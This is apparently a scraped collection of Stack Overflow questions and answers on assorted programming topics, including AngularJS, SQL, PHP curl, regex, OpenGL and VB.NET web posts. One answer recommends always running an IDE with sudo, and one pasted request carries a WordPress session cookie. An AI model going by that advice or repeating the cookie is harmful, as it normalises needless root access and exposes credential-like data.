34649826	0	 <p>You probably want something like this:</p> <pre><code>.factory('countries', function($http){ var list = []; $http.get('../test.json').success(function(data, status, headers) { angular.copy(data, list); }) return { list: list } }; </code></pre> <p>Then you can bind to the list like this:</p> <pre><code>.controller('View2Ctrl', function ($scope, countries){ $scope.countries = countries.list; }); </code></pre> <p>An alternative, equally valid approach is this:</p> <pre><code>.factory('countries', function($http){ return { list: function() { return $http.get('../test.json'); } } }; </code></pre> <p>Then in your controller: </p> <pre><code>.controller('View2Ctrl', function ($scope, countries){ $scope.countries = []; countries.list().success(function(data) { $scope.countries = data; }); }); </code></pre> <p>Remember that <code>$http.get('../test.json')</code> is already a promise, which is why you can return it without any unnecessary promise/resolve handling. </p>
39609049	0	how will I erase or to make the border invisible of the cell that I completed using table.completeRow() <p>this is my code where I make an invisible border for the Merchant Column and complete the row, the Merchant column has no border, but the rest of the row had, I don't know to make it invisible. </p> <pre><code>PdfPCell cellMerchantTitle = rowCellStyle("Merchant", fontTitleSize); cellMerchantTitle.setColspan(2); table.addCell(cellSystemTitle); table.completeRow(); public PdfPCell rowCellStyle(String cellValue, Font fontStyle){ PdfPCell cell = new PdfPCell(new Paragraph(cellValue, fontStyle)); cell.setHorizontalAlignment(Element.ALIGN_LEFT); cell.setBorder(Rectangle.NO_BORDER); return cell; } </code></pre> <p>I already try this</p> <pre><code>table.getDefaultCell().setBorder(Rectangle.NO_BORDER); </code></pre>
7475413	0	 <p> Hi. Create the query with <code>SQL_CALC_FOUND_ROWS</code> and then get it via <a href="http://dev.mysql.com/doc/refman/5.0/en/information-functions.html#function_found-rows" rel="nofollow"><code>FOUND_ROWS()</code></a> function.<br /> What I mean is this:</p> <pre class="lang-vb prettyprint-override"><code>Set rsPhotoSearch = _ conn_Object.Execute("Select SQL_CALC_FOUND_ROWS * FROM table LIMIT offSet, rowCount") Dim lngTotalRecords lngTotalRecords = conn_Object.Execute("Select Found_Rows();")(0).Value Response.Write "Total Records : "&amp; lngTotalRecords 'Loop starts 'etc </code></pre>
35696533	0	 <p>I figured out that Jitsi and CSipSimple send their INTERNET IP-address instead of sending their VPN IP-address in SDP during INVITE request Altghough CSipSimple has the parameter "Allow SDP NAT rewrite" in Expert mode of account setup. And it should be ticked to avoid this problem. But Jitsi does not have such option</p>
17385395	0	php send get request and get output <p>I want to make a getrequest to www.seatguru.com, which for instance would look like this: <code>http://www.seatguru.com/findseatmap/findseatmap.php?airlinetext=American+Airlines&amp;carrier=AA&amp;flightno=3180&amp;from=Philadelphia%2C+PA+-+Philadelphia+International+Airport+%28PHL%29&amp;to=&amp;date=07%2F03%2F2013&amp;from_loc=PHL&amp;to_loc=&amp;search_type=</code></p> <p>The problem is that when I get the request back, it only shows the 'Loading...', which means that I can check the output. Is there any way I can get around that?</p> <p>Here's my curl:</p> <pre><code>$qry_str = "?airlinetext=American+Airlines&amp;carrier=AA&amp;flightno=3180&amp;from=Philadelphia%2C+PA+-+Philadelphia+International+Airport+%28PHL%29&amp;to=&amp;date=07%2F03%2F2013&amp;from_loc=PHL&amp;to_loc=&amp;search_type="; $ch = curl_init(); // Set query data here with the URL curl_setopt($ch, CURLOPT_URL, 'http://www.seatguru.com/findseatmap/findseatmap.php' . $qry_str); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, '3'); $content = trim(curl_exec($ch)); curl_close($ch); </code></pre> <p>Thanks alot.</p>
37788610	0	 <p>Killing from recent apps may be the same as force stop on some devices so no <code>onPause</code> or <code>onStop</code> is called on the activity in this case, so the service is probably not being unbound correctly.</p> <p>If your service is not bound to a running activity and doesn't run in the foreground, the system may stop it at any time.</p>
16238900	0	 <p>I do not know if this would cause this problem, but I would mark my similarly structured MessageContract up as follows:</p> <ol> <li>Using the [MessageHeader] attribute is enough on MessageHeader members.</li> <li>If the contract TestsResults is not a top level contract, I would mark it up as a DataContract with DataMember attributes only.</li> </ol> <p>EDIT: 3. TestResult should also be a DataContract, with all members marked up with DataMember. Your enum must be marked up with the EnumMember attribute.</p> <p>I hope this helps.</p>
15714391	0	 <p>You've got a difficult task there. <code>.doc</code> <code>.pdf</code> and <code>.xls</code> are not simply readable. To test this try opening a pdf with a basic text editor like <code>notepad</code> or <code>gedit</code>. You will see what appears to be gibberish. This is the same thing PHP sees when you read a file's contents.</p> <p><code>.xls</code> and <code>.doc</code> can probably be parsed with PHPWord and PHPExcel from <a href="https://github.com/PHPOffice" rel="nofollow">PHPOffice</a>. You will need to look in to these libraries. I don't know anything for PDFs but there's probably something. </p> <p>I would suggest writing a series of classes that all implement a similar interface so you can switch them out depending on the extension.</p>
37253636	0	 <p>If you are using any IDE for developing Apps then always run that App in sudo mode . for eg . If you are using webstorm then always run it's webstorm.sh in file as follows. <br></p> <blockquote> <p><strong>sudo bash /opt/webstorm/bin/webstorm.sh</strong></p> </blockquote>
21638264	0	 <p>If I understand the question, you want to get stories that are currently accepted, but you want that the returned results include snapshots from the time when they were not accepted. Before you write code, you may test an equivalent query in the browser and see if the results look as expected. </p> <p>Here is an example - you will have to change OIDs. </p> <pre><code>https://rally1.rallydev.com/analytics/v2.0/service/rally/workspace/12352608129/artifact/snapshot/query.js?find={"_ProjectHierarchy":12352608219,"_TypeHierarchy":"HierarchicalRequirement","ScheduleState":"Accepted",_ValidFrom:{$gte: "2013-11-01",$lt: "2014-01-01"}}},sort:[{"ObjectID": 1},{_ValidFrom: 1}]&amp;fields=["Name","ScheduleState","PlanEstimate"]&amp;hydrate=["ScheduleState"] </code></pre> <p>You are correct that a query like this: <code>find={"AcceptedDate":{$gt:"2014-01-01T00:00:00.000Z"}}</code></p> <p>will return one snapshot per story that satisfies it.</p> <pre><code>https://rally1.rallydev.com/analytics/v2.0/service/rally/workspace/12352608129/artifact/snapshot/query.js?find={"AcceptedDate":{$gt:"2014-01-01T00:00:00.000Z"}}&amp;fields=true&amp;start=0&amp;pagesize=1000 </code></pre> <p>but a query like this: <code>find={"ObjectID":{$in:[16483705391,16437964257,14943067452]}}</code></p> <p>will return the whole history of the 3 artifacts:</p> <pre><code>https://rally1.rallydev.com/analytics/v2.0/service/rally/workspace/12352608129/artifact/snapshot/query.js?find={"ObjectID":{$in:[16483705391,16437964257,14943067452]}}&amp;fields=true&amp;start=0&amp;pagesize=1000 </code></pre> <p>To illustrate, here are some numbers: the last query returns 17 results for me. I check each story's revision history, and the number of revisions per story are 5, 5, 7 respectively, sum of which is equal to the total result count returned by the query. On the other hand the number of stories that meet <code>find={"AcceptedDate":{$gt:"2014-01-01T00:00:00.000Z"}}</code> is 13. And the query based on the accepted date returns 13 results, one snapshot per story.</p>
30339406	0	 <p>For <code>A1:A100</code></p> <pre><code>Set rng1 = Range("A1:A100") rng1.Replace "Payment info", "log Payment info", xlPart </code></pre>
19910292	0	 <p>I've created an example of how you can achieve this. There is not an easy way yet, but it's coming in the near future as Spudley mentioned. <a href="http://jsfiddle.net/kUJq8/5/" rel="nofollow">http://jsfiddle.net/kUJq8/5/</a></p> <p>This example is based on the same concept used by <a href="http://www.csstextwrap.com" rel="nofollow">http://www.csstextwrap.com</a> but I created this example to explain what's going on and how to achieve this effect.</p> <p>Basically, you need to create your circle first and some sample text, then create a set of "imaginary" floating div's to give your text guidelines to not exceed and automatically wrap to the next line. Feel free to play around with the widths of the div's so you can achieve the desired effect. Also, if you remove the border, you can see what the text actually looks like. The border helps when setting the widths of the div's.</p> <pre><code>&lt;div style="float:left;clear:left;height:15px;width:130px"&gt;&lt;/div&gt; &lt;div style="float:right;clear:right;height:15px;width:130px"&gt;&lt;/div&gt; </code></pre> <p>In my example, I didn't create the whole circle, but it should be enough to get you going on the right track. Please let me know if you need any further assistance with this idea. Thanks.</p>
9508116	0	Regex for String with possible escape characters <p>I had asked this question some times back here <a href="http://stackoverflow.com/questions/9423563/regular-expression-that-does-not-contain-quote-but-can-contain-escaped-quote">Regular expression that does not contain quote but can contain escaped quote</a> and got the response, but somehow i am not able to make it work in Java. </p> <p>Basically i need to write a regular expression that matches a valid string beginning and ending with quotes, and can have quotes in between provided they are escaped.</p> <p>In the below code, i essentially want to match all the three strings and print true, but cannot.</p> <p>What should be the correct regex?</p> <p>Thanks</p> <pre><code>public static void main(String[] args) { String[] arr = new String[] { "\"tuco\"", "\"tuco \" ABC\"", "\"tuco \" ABC \" DEF\"" }; Pattern pattern = Pattern.compile("\"(?:[^\"\\\\]+|\\\\.)*\""); for (String str : arr) { Matcher matcher = pattern.matcher(str); System.out.println(matcher.matches()); } } </code></pre>
35507271	0	 <p>Short answer: No, not necessarily. </p> <p>I'm not sure exactly what kind of an answer you are expecting here. The way I see it, the general answer is probably "<em>it depends</em>". </p> <p>If the developers of a system intend parts of their solution to be extendable, then they should design it that way. There must be many valid reasons why someone would <em>not</em> want to make it easy to extend and / or override pars of their code. This could be to avoid breaking comparability with other components, or to avoid exposing either data or implementation details that may change in the future, just to mention a couple of admittedly vague and abstract examples.</p> <p>If in doubt, I'd contact the original developers and ask them about it; they may have a good reason for making the design choices they did. Once you know more about the consequences of changing the architecture, you can consider what to do: If practical, you can submit a proposed change to the system. If on the other hand your requirements are different from those of the original developers, you can branch the system and create your own separate version which you can then give back to the community. That is the beauty of open source software.</p>
36788532	0	 <p>there is mistake in your json:</p> <p>responseB first object has a <strong>response object</strong> and second object has <strong>response array</strong>. this is creating problem</p> <pre><code>{ "success":true, "error":null, "responseA":{ "responseB":[ { "response":{... ***// This is object*** }, "request":"\/observations\/atlanta,ga" }, { "response":[ ***// This is Array*** { ... } ], "request":"\/forecasts\/atlanta,ga" }, ... ] } } </code></pre> <p>You have make a same structure for arrays object. Hope this help. Thanks</p>
17723286	0	 <p>A close equivalent in IronPython would be</p> <pre><code>Clearcore2.Licensing.LicenseKeys.Keys = Array[str]([r"""&lt;?xml version=""1.0"" encoding=""utf-8""?&gt; &lt;license_key&gt; &lt;company_name&gt;Company &lt;/company_name&gt; &lt;product_name&gt;ProcessingFramework&lt;/product_name&gt; &lt;features&gt;WiffReaderSDK&lt;/features&gt; &lt;key_data&gt; 2F923C31D1E7E16B191EF2F87DCA7F15831A3F18DED11E05582A98822== &lt;/key_data&gt; &lt;/license_key&gt;"""]) </code></pre> <p>The <strong>@</strong> in C# specifies a <a href="http://msdn.microsoft.com/en-us/library/aa691090%28v=vs.71%29.aspx" rel="nofollow">verbatim string literal</a>. This means that no escape sequences etc. are handled and that the string may span multiple lines. A <a href="http://docs.python.org/release/2.5.2/ref/strings.html" rel="nofollow">raw, triple quoted string</a> should be the equivalent literal.</p> <p>Your initial code might fail because of the encoding and or mode you read the file with. Depending on what should happen with the file data, you might want to specify an <a href="http://docs.python.org/2/tutorial/inputoutput.html#reading-and-writing-files" rel="nofollow">alternate mode</a> for opening the file (e.g. <strong>b</strong> for <em>binary</em>) or use a .NET BCL function like <a href="http://msdn.microsoft.com/de-de/library/ms143369.aspx" rel="nofollow">File.ReadAllText</a> which you can check from C# as well.</p>
39503111	0	 <p>Pass it as a string and convert to boolean in Javascript:</p> <pre><code>var myBool = Boolean(@Model.OrderModel.IsToday.ToString().ToLower()); </code></pre> <p>See <a href="http://stackoverflow.com/questions/263965/how-can-i-convert-a-string-to-boolean-in-javascript">here</a></p>
14601496	0	How to get Media controls in Webview in android? <p>I am having Webview in android &amp; currently playing youtube video from the Url. top of the webview, there is an <code>actionbar</code>. I want <code>actionbar</code> to be hidden when video is playing &amp; <code>actionbar</code> to show when video is <code>onPause</code>. is there any way to get the current state of video playing inside the <code>webview</code>. or I can call <code>mediaControls</code> class in <code>webview</code>. Here is my code for webview:</p> <pre><code> mVideoView.getSettings().setJavaScriptEnabled(true); mVideoView.getSettings().setPluginsEnabled(true); mVideoView.getSettings().setAllowFileAccess(true); mVideoView.setWebChromeClient(new ChromeClient()); mVideoView.setWebViewClient(webViewClient); mVideoView.loadUrl("http://www.youtube.com/embed/" + video_id); </code></pre>
10845403	0	Slight error in calculations <p>I'm trying to build a game somewhat like Wheel of Fortune, actually it's done but there seems to a weird issue I can't figure out.</p> <p>Here's the wheel itself, as you can see the values are spaced evenly, each having a 15 &deg; slice.</p> <p><img src="https://i.stack.imgur.com/i2thO.png" alt="enter image description here"></p> <p>To spin the wheel I generate a random number which will be the amount of rotation in degrees, I animate the wheel and everything is fine but when the rotation stops I have to get the value from the wheel which stops at the top-center position so I though this would solve it:</p> <pre><code>wheelValues = [ 1000, 3250, 1800, 1000, 1200, 3750, 5000, 1000, 3000, 1600, 1000, 3500, 1000, 2000, 1000, 2750, 1000, 4000, -1, 1000, 2500, 1400, 1000, 2250 ]; if (toAngle &gt; 360) { toAngle = toAngle - (Math.floor(toAngle / 360) * 360); } arrIndex = Math.floor(toAngle / 15) + 1; result = wheelValues[arrIndex]; </code></pre> <p>where <code>toAngle</code> is the random spin I generate which can be between 370 and 1440.</p> <p>This method works in about 8/9 times out of 10 and I can actually get the correct value the wheel stops at but I can't really understand why sometimes the value is off (and sometimes really off, not even near the correct value).</p>
38616639	0	Redirect back with changeset <p>i'm working with programming phoenix book examples more specific:</p> <pre><code>def create(conn, %{"user" =&gt; user_params}) do changeset = User.registration_changeset(%User{}, user_params) case Repo.insert(changeset) do {:ok, user} -&gt; conn |&gt; put_flash(:info, "#{user.username} created!") |&gt; redirect(to: user_path(conn, :index)) {:error, changeset} -&gt; render(conn, "new.html", changeset: changeset) end end </code></pre> <p>when the form has errors instead of using <code>render(conn, "new.html", changeset: changeset)</code></p> <p>i want to redirect back with changeset the following code works:</p> <pre><code>{:error, changeset} -&gt; conn |&gt; put_flash(:error, "Error") |&gt; redirect(to: user_path(conn, :new)) </code></pre> <p>but it doesn't contains the changeset which is important i think.Another thing is that instead of render users/new it renders users route.</p> <p>Any ideas?</p>
4246861	0	 <p>Views can't dynamically add columns based on the data in them. Neither can straight queries. Since you want it to automatically change based on the data in the table, this completely rules out views and queries using constructs like <code>pivot</code>.</p> <p>Pretty much your only choice, given the constraints you've given us, is to generate a temp table with enough columns (dynamically), and populate that. This is still problematic as a sproc can't create and return a temp table since the table would be dropped when the sproc exits.</p> <p>Another option is to write a sproc which dynamically generates a <code>pivot</code> query and executes that. This is going to be pretty messy though. Do new roles get added so often that this is an absolute requirement? That's the only thing that's making it so difficult.</p> <p>A static pivot query to give you the output you want might look something like this:</p> <pre><code>select UserName, [1] as Role1, [2] as Role2, [3] as Role3 -- UpdateMe from ( select u.UserName, r.RoleID IsUserInRole(u.UserName, r.RoleName) RoleFlag from aspnet_users u cross join aspnet_roles r) source pivot ( RoleFlag for RoleID in ([1],[2],[3]) -- UpdateMe ) PivotTable </code></pre> <p>There are two lines that your dynamic SQL generator would have to keep updated, they are marked with the <code>UpdateMe</code> comments.</p> <p>I don't have MSSQL installed here, so I can't test this query, but it should be quite close. The <a href="http://msdn.microsoft.com/en-us/library/ms177410.aspx" rel="nofollow"><code>pivot</code></a> reference might be helpful.</p> <p>Faking pivots in SQL Server 2000 using aggregates and <code>case</code>:</p> <pre><code>select UserName, max(case when src.RoleID = 1 then RoleFlag else 0 end) Role1, --Repeat N times ... from ( select u.UserName, r.RoleID IsUserInRole(u.UserName, r.RoleName) RoleFlag from aspnet_users u cross join aspnet_roles r) src group by UserName </code></pre>
7867273	0	 <p><strong>Problem 1</strong>:</p> <p>As Blau stated, your rocks will be sorted from front to back, and because they have the same depth, they will (some times) be sorted randomly. This is probably due to float precision (or lack thereof).</p> <p>Instead of changing the depth of your rocks, you can use <code>SpriteSortMode.Deferred</code>, which will draw the sprites in order, and delay the render until you call End (or until the spriteBatch can't handle any more sprites and needs to flush).</p> <p><strong>Problem 2</strong>:</p> <p>As Blau stated, this is also probably due to float precision. However, the problem <em>can</em> be avoided. Imagine having a moving tile, and your player walks near that tile. The tile then moves on top of your player (because we forgot to code the tile <em>not</em> to). You're player now cannot move, because any direction the player tries to move is an "invalid" move, because he'll be touching that tile.</p> <p>The problem is that we're <em>preventing the character from moving</em>. If the character could always move, we wouldn't have this problem. However, if the character could always move, he could just more right through things. To prevent this, we need an opposite action acting against the character when he moves against a solid object.</p> <p><em>Solution</em>:</p> <p>Allow the player to move into an object, and then scan for all of the objects he's touching. If he's touching any, figure out what direction you should move him <em>away</em> from each object, and combine all of those directions to form a single vector. Scale that vector by some reasonable amount (to prevent the character from being pushed away dramatically). Move the player according to that vector</p> <p><em>Problems with this method</em>:</p> <p>If you have a force from gravity, or the like, you may find your character "sinking" into the ground. This is a result of the gravity pushing against the force that pushed the player back from the tiles. The problem can be solved by <em>displacing</em> the character away from any tiles before applying a force on the player to <em>move</em> him away.</p> <p>This turns out to be a very complex problem, and it is already solved for you.</p> <p><em><strong>Box 2D / Farseer Physics Engine</em></strong>:</p> <p>You've probably heard of these before and thought "Oh, I'll just roll my own, because that sounds super fun!" And while programming your own physics engine can be super fun, it also takes an extremely long time. If you want to get your game up and running quickly with physics (even if they're simple Sonic-like physics), Erin Catto has laid all the ground work for you. :)</p> <p>Check these out:</p> <p>Box2D XNA: <a href="http://box2dxna.codeplex.com/" rel="nofollow">http://box2dxna.codeplex.com/</a></p> <p>Farseer Physics: <a href="http://farseerphysics.codeplex.com/" rel="nofollow">http://farseerphysics.codeplex.com/</a></p>
4964882	0	Message-based domain object collaboration <p>Recently, i was thinking about how to use message to implement the domain object collaboration. And now i have some thoughts:</p> <ol> <li>Each domain object will implement an interface if it want to response one message;</li> <li>Each domain object will not depend on any other domain objects, that means we will not have the Model.OtherModel relation;</li> <li>Each domain object only do the things which only modify itself;</li> <li>Each domain object can send a message, and this message will be received by any other domain objects which are care about this message;</li> </ol> <p>Totally, the only way of collaboration between domain objects is message, one domain object can send any messages or receive any messages as long as it need.</p> <p>When i learn Evans's DDD, i see that he defines the aggregate concept in domain, i think aggregate is static and not suitable for objects interactions, he only focused on the static structure of objects or relationship between objects. In real world, object will interact using messages, not by referencing each other or aggregating other objects. In my opinion, all the objects are equal, that means they will not depend on any other objects. For about how to implement the functionality of sending messages or receive messages, i think we can create a EventBus framework which is specially used for the collaboration of domain object. We can mapping the <strong>event type</strong> to the <strong>subscriber type</strong> in a dictionary. The key is event type, the value is a list of subscriber types. When one event is raised, we can find the corresponding subscriber types, and get all the subscriber domain objects from data persistence and then call the corresponding handle methods on each subscriber.</p> <p>For example:</p> <pre><code>public class EventA : IEvent { } public class EventB : IEvent { } public class EventC : IEvent { } public class ExampleDomainObject : Entity&lt;Guid&gt;{ public void MethodToRaiseAnExampleEvent() { RaiseEvent(new EventC()); } } public class A : Entity&lt;Guid&gt;, IEventHandler&lt;EventB&gt;, IEventHandler&lt;EventC&gt; { public void Handle(EventB evnt) { //Response for EventB. } public void Handle(EventC evnt) { //Response for EventC. } } public class B : IEventHandler&lt;EventA&gt;, IEventHandler&lt;EventC&gt; { public void Handle(EventA evnt) { //Response for EventA. } public void Handle(EventC evnt) { //Response for EventC. } } </code></pre> <p>That's my thoughts. Hopes to hear your words.</p>
8160666	0	 <p>So here's what I've come up with:</p> <pre><code>$this-&gt;Sql = 'SELECT DISTINCT * FROM `nodes` `n` JOIN `tagged_nodes` `t` ON t.nid=n.nid'; $i=0; foreach( $tagids as $tagid ) { $t = 't' . $i++; $this-&gt;Sql .= ' INNER JOIN `tagged_nodes` `'.$t.'` ON ' .$t'.tid=t.tid WHERE '.$t.'.tid='.$tagid; } </code></pre> <p>It's in PHP since I need it to be dynamic, but it would basically be the following if I needed, say, only 2 tags (<code>animals</code>, <code>pets</code>).</p> <pre><code>SELECT * FROM nodes n JOIN tagged_nodes t ON t.nid=n.nid INNER JOIN tagged_nodes t1 ON t1.tid=t.tid WHERE t1.tid='animals' INNER JOIN tagged_nodes t2 ON t2.tid=t.tid WHERE t2.tid='pets' </code></pre> <p>Am I on the right track?</p>
5748542	0	 <p>Assuming Test is a Controller and Page is an Action</p> <pre><code>RouteTable.Routes.Add(new Route { Url = "[controller]/[action]/[id]" Defaults = new { action = "Index", id (string) null }, RouteHandler = typeof(MvcRouteHandler) }); </code></pre> <p>but routing is very much context dependent. You need to look into your other routes and ensure that this route is placed in the right order.</p>
6416090	0	Which encoding should I use to convert NSData to NSString and backwards, if the string doesn't need to be beautiful? <p>Cheers,</p> <p>my app needs to send the contents of a NSData object to a webserver as a parameter of a GET request. It should be able to receive that very same data back at a later time. The data will be stored as longtext in a mysql database, the content is not known to me and may be pretty much anything.</p> <p>To achieve this, I'll need to convert it into a NSString, but which encoding should I choose? Does it matter at all which one I choose as long as it is the same for both ways?</p> <p>Thanks!!</p>
7593443	0	Which one is better for social networking integration in iOS development? <p>I have searched on net for social networking integration in iOS projects (For example: Facebook, Twitter, etc)</p> <p>I found there are also SDKs available for particulars and some OpenSource projects/frameworks are also available for the same which combines all into one like (ShareKit).</p> <p>What is the difference in those two? Which one is better to use? Is there any problem to upload an app on AppStore which is using ShareKit framework/code?</p> <p>Thanks in advance.</p> <p>Mrunal</p>
30590428	0	Chrome Extension : How to intercept requested urls? <p>How can an extension intercept any requested URL to block it if some condition matches?</p> <p><a href="http://stackoverflow.com/questions/30585385/firefox-extension-intercepting-url-it-is-requesting-and-blocking-conditionally">Similar question for Firefox.</a></p> <p>What permission needs to be set in manifest.json?</p>
33798526	0	 <p>First of all you need to make sure, that your Players query returns only unique records (<code>Unique Values=Yes</code> on query properties). Then the query like on picture should work fine.</p> <p><a href="https://i.stack.imgur.com/BfebT.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/BfebT.png" alt="This query works fine"></a></p>
36823951	0	uint8_t VS uint32_t different behaviour <p>I am currently working on project where I need to use uint8_t. I have found one problem, could someone explain to me why this happens ?</p> <pre><code>//using DIGIT_T = std::uint8_t; using DIGIT_T = std::uint32_t; std::uint8_t bits = 1; DIGIT_T test1 = ~(DIGIT_T)0; std::cout &lt;&lt; std::hex &lt;&lt; (std::uint64_t)test1 &lt;&lt; std::endl; DIGIT_T test2 = ((~(DIGIT_T)0) &gt;&gt; bits); std::cout &lt;&lt; std::hex &lt;&lt; (std::uint64_t)test2 &lt;&lt; std::endl; </code></pre> <p>in this case the output is as expected</p> <pre><code>ffffffff 7fffffff </code></pre> <p>but when I uncomment the first line and I use uint8_t the output is</p> <pre><code>ff ff </code></pre> <p>This behaviour is causing me troubles.</p> <p>Thank you for your help.</p> <p>Marek</p>
27851680	0	 <p>Writing portable OpenGL code isn't as straightforward as you might like.</p> <ol> <li><p><strong>nVidia drivers are permissive.</strong> You can get away with a lot of things on nVidia drivers that you can't get away with on other systems.</p></li> <li><p><strong>It's easy to accidentally use extra features.</strong> For example, I wrote a program targeting the 3.2 core profile, but used <code>GL_INT_2_10_10_10_REV</code> as a vertex format. The <code>GL_INT_2_10_10_10_REV</code> symbol is defined in 3.2, but it's not allowed as a vertex format until 3.3, and you won't get any error messages for using it by accident.</p></li> <li><p><strong>Lots of people run old drivers.</strong> According to the Steam survey, in 2013, 38% of customers with OpenGL 3.x drivers didn't have 3.3 support, even though hardware which supports 3.0 should support 3.3.</p></li> <li><p><strong>You will always have to test.</strong> This is the unfortunate reality.</p></li> </ol> <p>My recommendations are:</p> <ul> <li><p>Always target the core profile.</p></li> <li><p>Always specify shader language version.</p></li> <li><p>Check the driver version and abort if it is too old.</p></li> <li><p>If you can, use OpenGL headers/bindings that only expose symbols in the version you are targeting.</p></li> <li><p>Get a copy of the spec for the target version, and use that as a reference instead of the OpenGL man pages.</p></li> <li><p>Write your code so that it can also run on OpenGL ES, if that's feasible.</p></li> <li><p><strong>Test on different systems.</strong> One PC is probably not going to cut it. If you can dig up a second PC with a graphics card from a different vendor (don't forget Intel's integrated graphics), that would be better. You can probably get an OpenGL 3.x desktop for a couple hundred dollars, or if you want to save the money, ask to use a friend's computer for some quick testing. You could also buy a second video card (think under $40 for a low-end card with OpenGL 4.x support), just be careful when swapping them out.</p></li> </ul> <p>The main reason that commercial games run on a variety of systems is that they have a QA budget. If you can afford a QA team, do it! If you don't have a QA team, then you're going to have to do both QA and development -- two jobs is more work, but that's the price you pay for quashing bugs.</p>
32673025	0	c and java arithmetic expression and parenthesis <p>can anyone help me to understand how are translated this 2 expression:</p> <p>FIRST</p> <pre><code>double val = 1/(b-1)/t*log(x1/x2); </code></pre> <p>I have broke it with some c in many parts, but I have 2 different results:</p> <pre><code>double val2 = ( 1/(b-1) ) / ( t*log(x1/x2) ); double b,t,x1,x2; b= 0.1; t= 0.2; x1 = 0.3; x2=0.4; double val = 1/(b-1)/t*log(x1/x2); printf ("%1.4e",val); double val2 = ( 1/(b-1) ) / ( t*log(x1/x2) ); printf ("%1.4e",val2); if(val!=val2){ printf("different!"); }else printf("its ok"); return 0; </code></pre> <p>SECOND QUESTION: Are there many differences of precision from double in c and java for very low order numbers? </p> <p>Thank you.</p>
1114690	0	How to get user input in Clojure? <p>I'm currently learning clojure, but I was wondering how to get and store user input in a clojure program. I was looking at the clojure api and I found a function called read-line, however I'm not sure how to use it if it's the right function to use...</p> <p>Anyhow, how do you get user input in clojure ?</p>
1460144	0	 <p>Being the author of <a href="http://code.google.com/p/cibyl/wiki/Cibyl" rel="nofollow noreferrer">Cibyl</a>, I might be biased here. Anyway, I've looked at the java bytecode generated by the axiomatic C compiler, and it is not efficient. NestedVM and Cibyl both works by compiling MIPS binaries and then translating the binary into Java bytecode. It's surprisingly efficient, with the main problem being memory access of 8- and 16-byte values (which needs to be done in multiple steps).</p> <p>NestedVM and Cibyl have slightly different performance characteristics, with Cibyl typically being faster for integer-heavy workloads whereas NestedVM handles floats and doubles better. This is because Cibyl uses GCC soft-float support (though using "real" Java bytecode floating point instructions) while NestedVM translates MIPS FPU instructions.</p> <p>Cibyl is also more targeted to J2ME environments, although it's definately useable on other platforms as well. My guess is that you would have more luck with either of them than with the Axiomatic C compiler.</p>
26434777	0	 <p>Not mentioned (at least in explicitly) is the fact that RSE (and for what I've seen, Eclipse in general) only seems to work with 1024 bit keys <a href="https://bugs.eclipse.org/bugs/show_bug.cgi?id=404714" rel="nofollow">https://bugs.eclipse.org/bugs/show_bug.cgi?id=404714</a></p> <p>I also had issues, because my privatekey was 2048, but I added a new key to authorized hosts and then I could connect.</p>
39841358	0	 <p>Take a step back. <strong>You should not be implementing this interface at all</strong>, so whether the implementation goes in a base class or whatever is completely beside the point. Simply don't go there in the first place.</p> <p>This interface has been deprecated since 2003. See:</p> <p><a href="http://stackoverflow.com/questions/699210/why-should-i-implement-icloneable-in-c">Why should I implement ICloneable in c#?</a></p> <p>for details.</p>
34425307	0	Finding label-value pairs and capturing value Jquery <p>I need to find values associated with labels that partly match a string. The block of source looks like this:</p> <pre><code> &lt;dt&gt; Loose Ones &lt;/dt&gt; &lt;dd&gt; 8.00 &lt;/dd&gt; &lt;dt&gt; Loose Fives &lt;/dt&gt; &lt;dd&gt; 15.00 &lt;/dd&gt; &lt;dt&gt; Envelope Ones &lt;/dt&gt; &lt;dd&gt; 0.00 &lt;/dd&gt; &lt;dt&gt; Envelope Fives &lt;/dt&gt; 25.00 &lt;dd&gt; </code></pre> <p>I want to find all labels that contain 'Loose' and capture the associated value then total it into a value. Jquery must have a way to do this.</p>
37408378	0	 <p>//Use printf to print your variable </p> <p>printf("float pi = %f", pi);</p> <p>printf("char my_char = \'%c\'", my_char);</p> <p>printf("double big_pi=%f", big_pi);</p>
16399587	0	Remote post to webpage from windows service <p>NOTE: <em>This question has been edited what was originally asked</em> </p> <p>I'm developing a windows service that, daily, queries a web service for data, compares that to currently existing data and then posts it to the client's webpage.</p> <p>The code for the remote post executes fine, but updates never happen on the client's web page...</p> <pre><code>Imports Microsoft.VisualBasic Imports System.Collections.Specialized Public Class RemotePost Public Property Inputs As New NameValueCollection() Public Property URL As String Public Property Method As String = "post" Public Property FormName As String = "_xclick" Public Sub Add(ByVal name As String, ByVal value As String) _Inputs.Add(name, value) End Sub Public Sub Post() Dim client as New WebClient() client.Headers.Add("Content-Type", "application/x-www-form-urlencoded") Dim responseArray = client.UploadValues(URL, Method, Inputs) End Sub End Class </code></pre> <p>I believe the reason for this is that the post generated by the above code is different to what the form itself posts manually.</p> <p>Here's an example of a post generated by the above code:</p> <pre><code>POST http://www.thisdomain.com/add-event/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: thisdomain.com Content-Length: 116 Expect: 100-continue Connection: Keep-Alive no_location=0&amp;event_name=Cycle-Fix+MTB+Tour+-+3+Days+ABC&amp;event_start_date=2013%2f04%2f06&amp;location_state=Eastern+Cape </code></pre> <p>And here's an example of a post generated on the page itself:</p> <pre><code>POST http://www.thisdomain.com/add-event/ HTTP/1.1 Host: thisdomain.com Connection: keep-alive Content-Length: 2844 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Origin: http://thisdomain.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8u14QB8zBLGQeIwu Referer: http://thisdomain.com/add-event/ Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: UTF-8,*;q=0.5 Cookie: wp-settings-1=m5%3Do%26editor%3Dtinymce%26libraryContent%3Dbrowse%26align%3Dleft%26urlbutton%3Dnone%26imgsize%3Dfull%26hidetb%3D1%26widgets_access%3Doff; wp-settings-time-1=1367827995; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_8d8e9e110894b9cf877af3233b3a007b=admin%7C1368089227%7C69a33748ee5bbf638a315143aba81313; devicePixelRatio=1 ------WebKitFormBoundary8u14QB8zBLGQeIwu Content-Disposition: form-data; name="event_name" test event ------WebKitFormBoundary8u14QB8zBLGQeIwu Content-Disposition: form-data; name="event_start_date" 2013-05-07 